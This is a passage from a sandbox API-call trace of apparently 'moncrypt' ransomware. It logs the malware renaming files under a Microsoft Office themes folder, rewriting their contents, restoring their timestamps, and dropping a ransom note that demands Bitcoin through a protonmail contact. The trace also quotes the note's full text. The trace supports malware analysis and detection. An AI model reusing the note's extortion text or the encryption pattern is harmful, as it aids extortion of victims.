returned 0 [0050.470] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.470] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.470] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.470] GlobalUnlock (hMem=0x440004) returned 0 [0050.470] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.470] GlobalUnlock (hMem=0x44000c) returned 0 [0050.470] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.471] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.471] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0050.471] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0050.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0050.471] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0050.471] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.471] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.472] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0050.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.moncrypt")) returned 1 [0050.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.473] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.474] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x4d44 [0050.474] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.474] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.475] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.475] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.475] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.476] GlobalUnlock (hMem=0x440004) returned 0 [0050.476] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.476] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.476] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.476] GlobalUnlock (hMem=0x440004) returned 0 [0050.476] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.476] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.476] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.476] GlobalUnlock (hMem=0x44000c) returned 0 [0050.476] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.476] GlobalUnlock (hMem=0x440004) returned 0 [0050.476] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.476] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.476] GlobalUnlock (hMem=0x440004) returned 0 [0050.476] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.476] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.476] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.476] GlobalUnlock (hMem=0x440004) returned 0 [0050.476] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.477] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.477] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.477] SetFilePointer (in: hFile=0x18c, lDistanceToMove=19780, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x4d44 [0050.477] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.477] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.477] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.488] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.488] CloseHandle (hObject=0x18c) returned 1 [0050.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.489] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.489] CloseHandle (hObject=0x18c) returned 1 [0050.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0050.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.490] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.490] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.490] GlobalUnlock (hMem=0x440004) returned 0 [0050.490] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.490] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.490] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.490] GlobalUnlock (hMem=0x440004) returned 0 [0050.490] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.490] GlobalUnlock (hMem=0x44000c) returned 0 [0050.490] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.490] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f525f80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f525f80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f525f80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0050.490] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0050.490] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0050.490] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.490] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.491] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.491] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.491] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.491] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.491] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.491] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0050.491] CloseHandle (hObject=0x18c) returned 1 [0050.491] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0050.491] GetLastError () returned 0x12 [0050.491] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.491] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.491] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.491] GlobalUnlock (hMem=0x44000c) returned 0 [0050.491] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.491] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.491] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.491] GlobalUnlock (hMem=0x44000c) returned 0 [0050.491] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.491] GlobalUnlock (hMem=0x440004) returned 0 [0050.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f54c0e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f54c0e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.492] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.492] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.492] GlobalLock (hMem=0x440004) returned 0x550170 [0050.492] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.492] GlobalUnlock (hMem=0x440004) returned 0 [0050.492] GlobalLock (hMem=0x440004) returned 0x550170 [0050.492] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.492] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.492] GlobalUnlock (hMem=0x440004) returned 0 [0050.492] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.492] GlobalUnlock (hMem=0x44000c) returned 0 [0050.492] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.492] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f54c0e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f54c0e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.492] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.492] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.492] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.492] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.492] GlobalUnlock (hMem=0x44000c) returned 0 [0050.492] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.492] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.492] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.492] GlobalUnlock (hMem=0x44000c) returned 0 [0050.492] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.492] GlobalUnlock (hMem=0x440004) returned 0 [0050.492] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.493] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM.moncrypt", cAlternateFileName="ARCTIC~1.MON")) returned 1 [0050.493] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.493] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.493] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.493] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.493] GlobalUnlock (hMem=0x440004) returned 0 [0050.493] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.493] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.493] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.493] GlobalUnlock (hMem=0x440004) returned 0 [0050.493] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.493] GlobalUnlock (hMem=0x44000c) returned 0 [0050.493] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.493] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0050.493] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.493] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.493] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.493] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.493] GlobalUnlock (hMem=0x44000c) returned 0 [0050.493] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.493] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.493] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.493] GlobalUnlock (hMem=0x44000c) returned 0 [0050.493] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.493] GlobalUnlock (hMem=0x440004) returned 0 [0050.493] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.493] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f525f80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f525f80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f525f80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.493] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.493] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.494] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.494] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.494] GlobalUnlock (hMem=0x440004) returned 0 [0050.494] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.494] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.494] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.494] GlobalUnlock (hMem=0x440004) returned 0 [0050.494] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.494] GlobalUnlock (hMem=0x44000c) returned 0 [0050.494] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.494] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.494] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.494] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, 